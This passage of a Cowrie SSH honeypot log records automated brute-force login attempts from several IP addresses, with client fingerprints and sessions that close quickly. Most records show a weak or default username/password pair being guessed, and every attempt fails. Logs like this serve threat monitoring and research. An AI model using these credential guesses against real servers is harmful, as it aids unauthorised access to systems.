openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:20.940087Z","src_ip":"76.127.61.251","session":"32806b6e43db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Admin","message":"login attempt [root/123@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:21.199779Z","src_ip":"76.127.61.251","session":"32806b6e43db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:22.258978Z","src_ip":"76.127.61.251","session":"32806b6e43db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:23.942214Z","src_ip":"122.168.114.167","session":"9a9fc7cdd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.9","message":"Connection lost after 24.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:29.485996Z","src_ip":"122.168.114.167","session":"9a9fc7cdd2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56716,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d0e99f7e747","protocol":"ssh","message":"New connection: 122.168.114.167:56716 (159.203.135.109:22) [session: 8d0e99f7e747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:41.340288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:46.063576Z","src_ip":"122.168.114.167","session":"8d0e99f7e747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:46.127617Z","src_ip":"122.168.114.167","session":"8d0e99f7e747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":38018,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7b51c797c16","protocol":"ssh","message":"New connection: 113.163.156.190:38018 (159.203.135.109:22) [session: d7b51c797c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:48.384688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:48.388659Z","src_ip":"113.163.156.190","session":"d7b51c797c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:48.644873Z","src_ip":"113.163.156.190","session":"d7b51c797c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55word","message":"login attempt [root/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:49.704839Z","src_ip":"113.163.156.190","session":"d7b51c797c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:11:50.963531Z","src_ip":"113.163.156.190","session":"d7b51c797c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:05.051463Z","src_ip":"122.168.114.167","session":"8d0e99f7e747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.3","message":"Connection lost after 28.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:09.635444Z","src_ip":"122.168.114.167","session":"8d0e99f7e747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":58898,"dst_ip":"10.17.0.5","dst_port":22,"session":"a283a979ed22","protocol":"ssh","message":"New connection: 76.127.61.251:58898 (10.17.0.5:22) [session: a283a979ed22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:10.449490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:10.453600Z","src_ip":"76.127.61.251","session":"a283a979ed22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:10.508397Z","src_ip":"76.127.61.251","session":"a283a979ed22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"0000","message":"login attempt [postgres/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:10.758584Z","src_ip":"76.127.61.251","session":"a283a979ed22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:11.816890Z","src_ip":"76.127.61.251","session":"a283a979ed22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":44510,"dst_ip":"10.17.0.5","dst_port":22,"session":"7646783ee4f6","protocol":"ssh","message":"New connection: 103.97.179.160:44510 (10.17.0.5:22) [session: 7646783ee4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:16.598674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:16.603946Z","src_ip":"103.97.179.160","session":"7646783ee4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:16.929020Z","src_ip":"103.97.179.160","session":"7646783ee4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert1","message":"login attempt [ubuntu/qwert1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:17.889178Z","src_ip":"103.97.179.160","session":"7646783ee4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:19.132832Z","src_ip":"103.97.179.160","session":"7646783ee4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c94f16566c30","protocol":"ssh","message":"New connection: 122.168.114.167:59128 (159.203.135.109:22) [session: c94f16566c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:24.224638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:27.013326Z","src_ip":"122.168.114.167","session":"c94f16566c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:27.016705Z","src_ip":"122.168.114.167","session":"c94f16566c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:41.249612Z","src_ip":"122.168.114.167","session":"c94f16566c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:45.821227Z","src_ip":"122.168.114.167","session":"c94f16566c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":45264,"dst_ip":"159.203.135.109","dst_port":22,"session":"04df3921685a","protocol":"ssh","message":"New connection: 113.163.156.190:45264 (159.203.135.109:22) [session: 04df3921685a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:46.522034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:46.526488Z","src_ip":"113.163.156.190","session":"04df3921685a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:46.781080Z","src_ip":"113.163.156.190","session":"04df3921685a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"123456","message":"login attempt [develop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:47.831025Z","src_ip":"113.163.156.190","session":"04df3921685a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:49.088351Z","src_ip":"113.163.156.190","session":"04df3921685a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":50296,"dst_ip":"10.17.0.5","dst_port":22,"session":"9edc59fe0b28","protocol":"ssh","message":"New connection: 76.127.61.251:50296 (10.17.0.5:22) [session: 9edc59fe0b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:59.742296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:59.748034Z","src_ip":"76.127.61.251","session":"9edc59fe0b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:12:59.803463Z","src_ip":"76.127.61.251","session":"9edc59fe0b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fr@123456","message":"login attempt [root/Fr@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:00.056612Z","src_ip":"76.127.61.251","session":"9edc59fe0b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:01.119427Z","src_ip":"76.127.61.251","session":"9edc59fe0b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33288,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e7cb9e3734c","protocol":"ssh","message":"New connection: 122.168.114.167:33288 (159.203.135.109:22) [session: 2e7cb9e3734c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:05.770537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:08.070717Z","src_ip":"122.168.114.167","session":"2e7cb9e3734c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:08.074624Z","src_ip":"122.168.114.167","session":"2e7cb9e3734c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":50562,"dst_ip":"10.17.0.5","dst_port":22,"session":"c71904bced9d","protocol":"ssh","message":"New connection: 103.97.179.160:50562 (10.17.0.5:22) [session: c71904bced9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:13:11.998750Z"}
